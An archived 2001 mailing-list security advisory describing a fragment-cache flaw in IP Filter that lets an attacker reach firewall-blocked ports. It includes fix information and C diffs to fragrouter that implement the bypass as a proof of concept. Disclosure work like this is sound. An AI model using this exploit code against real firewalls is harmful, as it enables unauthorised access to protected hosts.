A fragmentation attack against IP Filter

From: Thomas Lopatic (thomas@LOPATIC.DE)
Date: Mon Apr 09 2001 - 00:16:14 CEST

  • Next message: Slackware Security Team: "[slackware-security] buffer overflow fix for NTP"

    I did not want to release this on a Friday afternoon.

    Happy experimenting
    -Thomas

    ---- cut here ----

              *** A fragmentation attack against IP Filter ***

                               April 6th, 2001

                     Thomas Lopatic <thomas@lopatic.de>

               The research for this advisory was supported by

                           TUV data protect GmbH,
                a TUV Rheinland/Berlin-Brandenburg affiliate

    Summary
    -------

    The current release (3.4.16) of Darren Reed's IP Filter package
    contains a flaw in the fragment handling code. This vulnerability
    enables an attacker who has access to a single UDP or TCP port on a
    host protected by an IP Filter firewall to obtain access to any other
    UDP or TCP port on the same host.

    Although this flaw is based on problems handling fragments, it can
    still be exploited even if the rule-base explicitly blocks all
    fragmented packets.

    It seems that this problem has been buried in the source code for
    quite a while. Thus it is likely that several older releases of IP
    Filter are also vulnerable. However, the only version that I have
    looked at in addition to 3.4.16 is the release included in the OpenBSD
    2.8 distribution (3.3.18), which is also vulnerable.

    Details
    -------

    When IP Filter evaluates the rule-base for an IP fragment and decides
    whether to pass it or block it, this decision is saved in a "decision
    cache" together with the fragment's IP ID, protocol number, source
    address and destination address fields.

    Before any received fragment is passed through the rule-base, the
    decision cache is searched for a matching entry, i.e. an entry in
    which the IP ID, protocol number, source address, and destination
    address fields match the corresponding fields of the fragment.

    If a matching entry is found, the cached decision is applied to the
    received fragment. Otherwise the fragment is passed through the
    rule-base.

    In this way the same decision is applied to all fragments belonging to
    the same original unfragmented packet.

    The cache entry is discarded after a timeout period. But an
    optimization is implemented for the common case of receiving all
    fragments in order, i.e. from the leading offset-0 fragment to the
    last fragment with a cleared IP_MF bit. If all fragments are received
    in order, the cache entry is discarded after IP Filter has seen the
    last fragment.

    Let us assume that we can only access port 80/TCP on a host behind an
    IP Filter firewall and all other ports are blocked. However, we know
    that the host also runs an FTP server that we could compromise because
    we have spotted a giraffe in its code. We would therefore like to gain
    access to port 21/TCP. Hence, we patch Dug Song's fragrouter 1.6 and
    start doing a bit of packet mangling.

    For each TCP packet A that we send to port 21 and that we would like
    to sneak through the firewall, we create a TCP packet B by making a
    copy of A - i.e. we copy A's IP header, TCP header, and TCP payload -
    and changing the destination port in B's TCP header to 80. If sent,
    packet B would be passed by the firewall (in contrast to packet A),
    because traffic to port 80/TCP is allowed by the rule-base.

    We then split B into three fragments B1, B2, and B3, keeping B's
    original IP header and only adjusting the offset and length fields. In
    the canonical case, these fragments would be sent in order, IP Filter
    would see B1, go through the rule-base, find the rule that allows
    traffic to port 80/TCP, pass B1 because it is an offset-0 fragment and
    the contained TCP header fields match this rule, cache the "pass"
    decision, receive B2, apply the cached decision to B2, receive B3,
    apply the cached decision to B3, and discard the cache entry after
    having processed B3.

    Now there is a way to make IP Filter not only pass B1, B2, and B3 -
    i.e. apply the decision cached for B1 to B2 and B3 - but also apply
    the cached "pass" decision to A. Which is convenient for our purpose
    of obtaining access to port 21/TCP.

    Note that the created fragments B1, B2, and B3 contain the same
    fragment ID, protocol number, source address and destination address
    as A. Remember that B's IP header is an exact copy of A's IP header
    and that the fragments' IP headers differ from B's IP header only in
    their length and offset fields.

    We fragment B in the following way. If B's TCP payload is less than 13
    bytes, we pad it with null bytes.

    Fragment Offset Length IP_MF Payload
    ------------------------------------------------------------------------
    B1 0 24 1 B's TCP header, i.e. A's TCP
                                            header + destination port = 80
                                            bytes 0 to 3 of B's TCP payload

    B2 24 8 1 bytes 4 to 11 of B's TCP payload

    B3 32 depends 0 rest of B's TCP payload
                             on B (at least one byte)

    First we send B1. IP Filter will consider the rule-base, pass the
    fragment, and cache this "pass" decision.

    We then send B3 and B2 out of order, i.e. we send B3 before B2. The
    cache entry created for B1 matches each fragment and the cached "pass"
    decision is looked up and used in both cases. However, the
    optimization for in-order fragments mentioned above does not apply and
    the cached "pass" decision is still kept for a while. In the meantime
    the destination host reassembles B1, B2, and B3.

    We now send packet A. Since A has the same IP ID, source address,
    destination address, and protocol number as the fragments, the cache
    entry created for B1 also matches A and the cached "pass" decision is
    applied to A as well. Thus, IP Filter passes A, although it is
    directed to port 21/TCP and should have been blocked according to the
    rule-base.

    Looking at the IP Filter source code, we see that A does not need to
    be fragmented to make IP Filter search its decision cache for a match,
    which saves us some work in exploiting this vulnerability.

    The attack as described up to here can be prevented by adding a
    filtering rule along the lines of

        block in quick all with frag

    which blocks all fragmented IP traffic. However, before considering
    the rule-base, IP Filter searches its state-table for a connection
    entry matching the received packet. On a match, IP Filter passes the
    packet without touching the rule-base.

    Therefore, we just send B before sending B1, B2, and B3. Receiving B,
    IP Filter creates an entry in the state-table representing a
    connection from our computer to the open port on the host that we are
    attacking, i.e. port 80 to cling to our example.

    Since B1 contains a full TCP header and we address B1 to the same port
    as B, B1 is also passed because a matching connection entry in the
    state-table has already been created by the non-fragmented packet
    B. The rule-base is ignored as is the "block with frag" rule.

    Passing B1, however, leads to this "pass" decision being cached,
    because B1 is a fragment. This in turn allows us to pass B3, B2, and A
    through the filter.

    As can be seen the attack still applies even if all fragments are
    blocked by a filtering rule.

    If we did not care about the fragments awaiting reassembly in the
    victim host, we could skip the steps of sending B2 and B3 and just
    send B1. The effect of IP Filter passing traffic to blocked ports
    would be identical.

    Thanks to John McDonald of NAI's COVERT Labs for pointing out the full
    implications of the vulnerability to me.

    Fix information
    ---------------

    I sent an early version of this advisory to Darren and he created an
    updated release of the IP Filter package, which is available from the
    IP Filter homepage at http://coombs.anu.edu.au/~avalon.

    Users of ThomasBSD 1.0 might want to upgrade their installation to
    ThomasBSD 1.1 by applying the following patch.

    *** ThomasBSD10 Sun Apr 1 00:03:34 2001
    --- ThomasBSD11 Fri Apr 6 07:53:21 2001
    ***************
    *** 1 ****
    ! 8e507e385887e487d3b6c600d09d1f23
    --- 1 ----
    ! 817a49ca60938dc1c36aa48a22cf0997

    Demonstration source code
    -------------------------

    These are the - intentionally slightly broken - diffs to be applied to
    fragrouter 1.6 to implement the described attack. Supply the "-M3"
    option to fragrouter and route all your packets to the fragrouter host
    to comfortably walk through an IP Filter installation that exposes the
    described vulnerability.

    ---- cut here ----
    diff -c -r fragrouter-1.6.orig/attack.c fragrouter-1.6/attack.c
    *** fragrouter-1.6.orig/attack.c Tue Sep 21 17:16:59 1999
    --- fragrouter-1.6/attack.c Sat Apr 7 16:59:05 2001
    ***************
    *** 126,132 ****
        NULL, /* ATTACK_MISC */
        "misc-1: Windows NT 4 SP2 - http://www.dataprotect.com/ntfrag/",
        "misc-2: Linux IP chains - http://www.dataprotect.com/ipchains/",
    ! NULL,
        NULL,
        NULL,
        NULL,
    --- 126,132 ----
        NULL, /* ATTACK_MISC */
        "misc-1: Windows NT 4 SP2 - http://www.dataprotect.com/ntfrag/",
        "misc-2: Linux IP chains - http://www.dataprotect.com/ipchains/",
    ! "misc-3: IP Filter - consult the bugtraq archives for April 2001 :-)",
        NULL,
        NULL,
        NULL,
    ***************
    *** 209,214 ****
    --- 209,217 ----
        }
        if (attack_num == 2) {
          frag = misc_linuxipchains(pkt, len);
    + }
    + if (attack_num == 3) {
    + frag = misc_ipfilter(pkt, len);
        }
        if (frag) {
          send_list(frag->head);
    diff -c -r fragrouter-1.6.orig/misc.c fragrouter-1.6/misc.c
    *** fragrouter-1.6.orig/misc.c Tue Sep 21 17:14:07 1999
    --- fragrouter-1.6/misc.c Sat Apr 7 17:15:56 2001
    ***************
    *** 206,208 ****
    --- 206,422 ----

        return (list->head);
      }
    +
    + /*
    + * This demonstrates a fragmentation vulnerability in IP Filter.
    + *
    + * The code needs a small corretion to work properly.
    + *
    + * Thomas Lopatic, 2001-04-06
    + */
    +
    + /*
    + * These are the ports that we have access to.
    + */
    +
    + #define IPFILTER_OPEN_TCP_PORT 22
    + #define IPFILTER_OPEN_UDP_PORT 53
    +
    + ELEM *
    + misc_ipfilter(u_char *pkt, int pktlen)
    + {
    + ELEM *new, *list = NULL;
    + struct ip *iph;
    + unsigned char *frag[3], *mod, *payload;
    + int i, hlen, off, len[3], copy, rest;
    + static short id = 1;
    +
    + iph = (struct ip *)pkt;
    +
    + if (iph->ip_p != IPPROTO_UDP && iph->ip_p != IPPROTO_TCP)
    + return NULL;
    +
    + iph->ip_id = htons(id);
    +
    + if (++id == 0)
    + ++id;
    +
    + hlen = iph->ip_hl << 2;
    +
    + payload = pkt + hlen;
    + rest = pktlen - hlen;
    +
    + for (i = 0; i < 3; i++) {
    +
    + /*
    + * Select the offset and the length for each fragment
    + * of the decoy packet.
    + */
    +
    + switch (i) {
    + case 0:
    + off = IP_MF;
    + if (iph->ip_p == IPPROTO_UDP)
    + len[i] = 8;
    + else
    + len[i] = 24;
    + break;
    +
    + case 1:
    + if (iph->ip_p == IPPROTO_UDP)
    + off = 1 | IP_MF;
    + else
    + off = 3 | IP_MF;
    + len[i] = 8;
    + break;
    +
    + default:
    + if (iph->ip_p == IPPROTO_UDP)
    + off = 2;
    + else
    + off = 4;
    + if (rest > 0)
    + len[i] = rest;
    + else
    + len[i] = 1;
    + break;
    + }
    +
    + /*
    + * Create the fragment.
    + */
    +
    + if ((frag[i] = malloc(hlen + len[i])) == NULL) {
    + while (--i > 0)
    + free(frag[i]);
    + return NULL;
    + }
    +
    + memcpy(frag[i], pkt, hlen);
    +
    + /*
    + * Copy a piece of payload and pad with null
    + * bytes if necessary.
    + */
    +
    + copy = len[i];
    +
    + if (rest < copy)
    + copy = rest;
    +
    + if (copy > 0) {
    + memcpy(frag[i] + hlen, payload, copy);
    + payload += copy;
    + rest -= copy;
    + }
    +
    + if (copy < len[i])
    + memset(frag[i] + hlen + copy, 0, len[i] - copy);
    +
    + /*
    + * No need to adjust the checksum.
    + * It is not verified by IP Filter.
    + */
    +
    + if (i == 0)
    + *(unsigned short *)(frag[i] + hlen + 2) =
    + (iph->ip_p == IPPROTO_UDP) ? htons(IPFILTER_OPEN_UDP_PORT) :
    + htons(IPFILTER_OPEN_TCP_PORT);
    +
    + /*
    + * Fix the IP header.
    + */
    +
    + iph = (struct ip *)frag[i];
    +
    + iph->ip_len = htons((short)(hlen + len[i]));
    + iph->ip_off = htons((short)off);
    + }
    +
    + if (i == 3)
    + return NULL;
    +
    + /*
    + * First have IP Filter create a state-table entry using
    + * the original packet with a modified destination port.
    + */
    +
    + if ((mod = malloc(pktlen)) == NULL) {
    + free(frag[0]);
    + free(frag[1]);
    + free(frag[2]);
    + return NULL;
    + }
    +
    + memcpy(mod, pkt, pktlen);
    +
    + *(unsigned short *)(mod + hlen + 2) =
    + (iph->ip_p == IPPROTO_UDP) ? htons(IPFILTER_OPEN_UDP_PORT) :
    + htons(IPFILTER_OPEN_TCP_PORT);
    +
    + new = list_elem(mod, pktlen);
    + free(mod);
    +
    + if (new == NULL) {
    + free(frag[0]);
    + free(frag[1]);
    + free(frag[2]);
    + return NULL;
    + }
    +
    + list = list_add(list, new);
    +
    + /*
    + * Then fragment #1 goes first...
    + */
    +
    + new = list_elem(frag[0], len[0] + hlen);
    + free(frag[0]);
    +
    + if (new == NULL) {
    + free(frag[1]);
    + free(frag[2]);
    + return NULL;
    + }
    +
    + list = list_add(list, new);
    +
    + /*
    + * ... then fragment #3 (out of order)...
    + */
    +
    + new = list_elem(frag[2], len[2] + hlen);
    + free(frag[2]);
    +
    + if (new == NULL) {
    + free(frag[1]);
    + return NULL;
    + }
    +
    + list = list_add(list, new);
    +
    + /*
    + * ... then fragment #2...
    + */
    +
    + new = list_elem(frag[1], len[1] + hlen);
    + free(frag[1]);
    +
    + if (new == NULL)
    + return NULL;
    +
    + list = list_add(list, new);
    +
    + /*
    + * ... and finally the original packet.
    + */
    +
    + new = list_elem(pkt, pktlen);
    +
    + if (new == NULL)
    + return NULL;
    +
    + list = list_add(list, new);
    +
    + return list->head;
    + }
    diff -c -r fragrouter-1.6.orig/misc.h fragrouter-1.6/misc.h
    *** fragrouter-1.6.orig/misc.h Mon Jul 26 17:08:51 1999
    --- fragrouter-1.6/misc.h Sat Apr 7 16:59:05 2001
    ***************
    *** 45,48 ****
    --- 45,50 ----

      ELEM *misc_linuxipchains(u_char *pkt, int pktlen);

    + ELEM *misc_ipfilter(u_char *pkt, int pktlen);
    +
      #endif /* MISC_H */



    This archive was generated by hypermail 2b30 : Thu Apr 26 2001 - 21:20:04 CEST